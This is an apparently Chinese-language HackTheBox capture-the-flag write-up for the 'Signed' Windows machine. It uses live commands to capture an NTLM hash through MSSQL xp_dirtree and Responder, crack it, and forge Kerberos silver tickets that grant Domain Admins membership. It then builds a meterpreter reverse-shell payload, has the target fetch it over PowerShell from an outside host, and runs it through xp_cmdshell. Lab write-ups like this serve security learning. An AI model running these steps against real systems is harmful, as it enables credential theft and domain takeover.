Season8 - Signed

https://app.hackthebox.com/machines/Signed

As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH

Recon

PortScan

➜  Signed nmap -sT -min-rate 5000 -p- 10.10.11.90
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-14 13:56 CST
Nmap scan report for 10.10.11.90
Host is up (0.041s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT     STATE SERVICE
1433/tcp open  ms-sql-s

Nmap done: 1 IP address (1 host up) scanned in 26.56 seco

➜  Signed nmap -sT -A -p 1433 10.10.11.80                                                 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-14 14:02 CST
Nmap scan report for editor.htb (10.10.11.80)
Host is up (0.041s latency).

PORT     STATE  SERVICE  VERSION
1433/tcp closed ms-sql-s
Too many fingerprints match this host to give specific OS details
Network Distance: 2 hops

TRACEROUTE (using proto 1/icmp)
HOP RTT      ADDRESS
1   39.59 ms 10.10.14.1
2   39.99 ms editor.htb (10.10.11.80)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.07 seconds

枚举

通过 nxc 测试凭据

➜  Signed nxc mssql 10.10.11.90 -u 'scott' -p 'Sm230#C5NatH' --local-auth
MSSQL       10.10.11.90     1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       10.10.11.90     1433   DC01             [+] DC01\scott:Sm230#C5NatH

通过 mssqlclient.py 进行连接

➜  Signed mssqlclient.py signed.htb/'scott':'Sm230#C5NatH'@10.10.11.90 -dc-ip 10.10.11.90   
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (scott  guest@master)>

MSSQL 枚举

尝试枚举一些有用的信息

SQL (scott  guest@master)> enum_db
[%] select name, is_trustworthy_on from sys.databases
name     is_trustworthy_on   
------   -----------------   
master                   0   

tempdb                   0   

model                    0   

msdb                     1

SQL (scott  guest@master)> enum_users
UserName             RoleName   LoginName   DefDBName   DefSchemaName       UserID     SID   
------------------   --------   ---------   ---------   -------------   ----------   -----   
dbo                  db_owner   sa          master      dbo             b'1         '   b'01'   

guest                public     NULL        NULL        guest           b'2         '   b'00'   

INFORMATION_SCHEMA   public     NULL        NULL        NULL            b'3         '    NULL   

sys                  public     NULL        NULL        NULL            b'4         '    NULL

在里面没有找到什么有趣的东西，大部分都是空的

Capture NTLM

因为是 guest 用户，所以在数据中做不了什么

经过一番搜索，在网上找到一篇文章：https://duckwrites.medium.com/capture-ntlm-hashes-with-mssql-an-essential-oscp-tip-0c2433a7815a

里边有一个技巧是获得 MSSQL 服务用户的技巧

开启 responder

responder -I tun0

调用存储过程访问我们的 SMB 共享

EXEC xp_dirtree '\\xx.xx.xx.xx\sunset'

尝试破解该 HASH

mssqlsvc::SIGNED:9c2097f413d20155:40C2CB079BCEB3A942A34C7397239437:010100000000000000D9B898193DDC01D18861084AB815EB00000000020008005300490045004E0001001E00570049004E002D00330038003700450046005A0049004D004B005100470004003400570049004E002D00330038003700450046005A0049004D004B00510047002E005300490045004E002E004C004F00430041004C00030014005300490045004E002E004C004F00430041004C00050014005300490045004E002E004C004F00430041004C000700080000D9B898193DDC0106000400020000000800300030000000000000000000000000300000360D692AB16CFD02C9A731C97E412BDC5E916522F5FDBA0743CE323968DE2B5F0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320038000000000000000000

得到密码 purPLE9795!@

hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt

➜  Signed mssqlclient.py signed.htb/'MSSQLSVC':'purPLE9795!@'@10.10.11.90 -dc-ip 10.10.11.90 -windows-auth
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc  guest@master)>

Sliver Ticket

拿到服务账户了，应尝试一下白银票据，尝试获得 mssql 的管理员账户的权限

所需条件：

域名
域SID
目标服务器名
可利用的服务
服务账号的NTML HASH
需要伪造的用户名

我们先要找到我们需要伪造的用户名（列出所有管理员账户）

select mp.name as login, case when mp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status, mp.type_desc as type from sys.server_role_members srp join sys.server_principals mp on mp.principal_id = srp.member_principal_id join sys.server_principals rp on rp.principal_id = srp.role_principal_id where rp.name = 'sysadmin' order by mp.name;

看样子是 signed\IT ，这是一个组

SID

现在还要获取域 SID，因为 445 端口没开，所以还是需要通过 mssql 来获取 SID

SQL (SIGNED\mssqlsvc  guest@master)> SELECT SUSER_SID('signed\it');
                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'

然后通过脚本进行转换（通过 AI 生成）

#!/usr/bin/env python3
import sys
import struct

def convert_sid(hex_sid):
    """Converts a hex SID string to its readable S-1-5-... format."""
    if hex_sid.startswith("0x"):
        hex_sid = hex_sid[2:]
    
    try:
        sid_bytes = bytes.fromhex(hex_sid)
    except ValueError:
        return "Error: Invalid hex string provided."

    # 1. Revision (1 byte)
    revision = sid_bytes[0]

    # 2. Sub-authority count (1 byte)
    sub_authority_count = sid_bytes[1]

    # 3. Identifier Authority (6 bytes, Big-Endian)
    # We read it directly as a 6-byte integer
    identifier_authority = int.from_bytes(sid_bytes[2:8], 'big')

    # Build the initial SID string
    sid_string = f"S-{revision}-{identifier_authority}"

    # 4. Loop through Sub-authorities (each is 4 bytes, Little-Endian)
    offset = 8
    for i in range(sub_authority_count):
        # Unpack 4 bytes as a little-endian unsigned long (<L)
        sub_authority = struct.unpack('<L', sid_bytes[offset:offset+4])[0]
        sid_string += f"-{sub_authority}"
        offset += 4
        
    return sid_string

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <hex_sid_string>")
        sys.exit(1)
    
    input_sid = sys.argv[1]
    readable_sid = convert_sid(input_sid)
    print(readable_sid)

得到 signed\it 的 SID

➜  Signed python sid_converter.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
S-1-5-21-4088429403-1159899800-2753317549-1105

那么域 SID 就是

S-1-5-21-4088429403-1159899800-2753317549

再计算 MSSQLsvc 用户的 SID

S-1-5-21-4088429403-1159899800-2753317549-1103

NTHASH

计算 mssqlsvc 的 NTHASH

➜  Signed echo -n 'purPLE9795!@' | iconv -f UTF-8 -t UTF-16LE | openssl dgst -md4
MD4(stdin)= ef699384c3285c54128a3ee1ddb1a0cc

Silver ticket

伪造一个票据，让你能以任意用户（这里是 User ID 1103）的身份，并拥有任意权限（这里是 Group 1105 的成员），去访问 dc01.signed.htb 主机上的 mssqlsvc 服务

➜  Signed ticketer.py -nthash "ef699384c3285c54128a3ee1ddb1a0cc" -domain-sid "S-1-5-21-4088429403-1159899800-2753317549" -domain "signed.htb" -groups '1105' -user-id '1103' -spn 'mssqlsvc/dc01.signed.htb' 'mssqlsvc'
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/mssqlsvc
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache

➜  Signed export KRB5CCNAME=mssqlsvc.ccache

注意：这里新加坡的 VPN 无法正常执行命令

➜  Signed mssqlclient.py -k -no-pass dc01.signed.htb -windows-auth                                                                                                                                                                  
/root/.local/share/pipx/venvs/impacket/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources packa
ge is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources                                                                                            
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
                                                         
[*] Encryption required, switching to TLS                                                                                                                                                                                           
[-] ERROR(DC01): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication.
➜  Signed mssqlclient.py -k -no-pass dc01.signed.htb                                                                                                                                                                                
/root/.local/share/pipx/venvs/impacket/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources packa
ge is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  import pkg_resources                                                                                            
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
                                                         
[*] Encryption required, switching to TLS                                                                                                                                                                                           
[-] ERROR(DC01): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication.

切换到 EU 后正常

➜  Signed mssqlclient.py -k -no-pass DC01.signed.htb
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc  dbo@master)>

Get Shell

SQL (SIGNED\mssqlsvc  dbo@master)> enable_xp_cmdshell
INFO(DC01): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC01): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

SQL (SIGNED\mssqlsvc  dbo@master)> xp_cmdshell whoami
output            
---------------   
signed\mssqlsvc   

NULL

进行反弹 shell，测试后发现机器中有 wget 可以用，这里弹 MSF

➜  Signed msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=4444 -f exe -o rev.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: rev.exe

xp_cmdshell mkdir C:\Downloads
xp_cmdshell powershell wget -Uri "http://xx.xx.xx.xx:8080/rev.exe" -OutFile "C:\Downloads\rev.exe"
xp_cmdshell C:\Downloads\rev.exe

读取 user.txt

C:\Users\mssqlsvc\Desktop>type user.txt
type user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

提权

和上边差不多，我们需要先找到管理员组的 SID

Import-Module ActiveDirectory
$domainAdmins = Get-ADGroup -Identity "Domain Admins"
$domainAdmins.SID

BinaryLength AccountDomainSid                          Value                                        
------------ ----------------                          -----                                        
28 S-1-5-21-4088429403-1159899800-2753317549 S-1-5-21-4088429403-1159899800-2753317549-512

再次生成银票，将管理员组添加上去

ticketer.py -nthash "ef699384c3285c54128a3ee1ddb1a0cc" -domain-sid "S-1-5-21-4088429403-1159899800-2753317549" -domain "signed.htb" -groups '1105,512' -user-id '1103' -spn 'mssqlsvc/dc01.signed.htb' 'mssqlsvc'

直接读root.txt

➜  Signed nxc mssql dc01.signed.htb -u 'mssqlsvc' -k --use-kcache -q "SELECT BulkColumn FROM OPENROWSET(BULK 'C:\users\administrator\desktop\root.txt', SINGLE_CLOB) AS a;"
MSSQL       dc01.signed.htb 1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL       dc01.signed.htb 1433   DC01             [+] SIGNED.HTB\mssqlsvc from ccache (Pwn3d!)
MSSQL       dc01.signed.htb 1433   DC01             BulkColumn:b'015032292f8626496a1a86ca5a6571c5\r\n'

总结

学习到很多，还是太菜了，在一些地方还是死脑筋，感谢 dalao 们的探路

HackTheBox - Season9 - Signed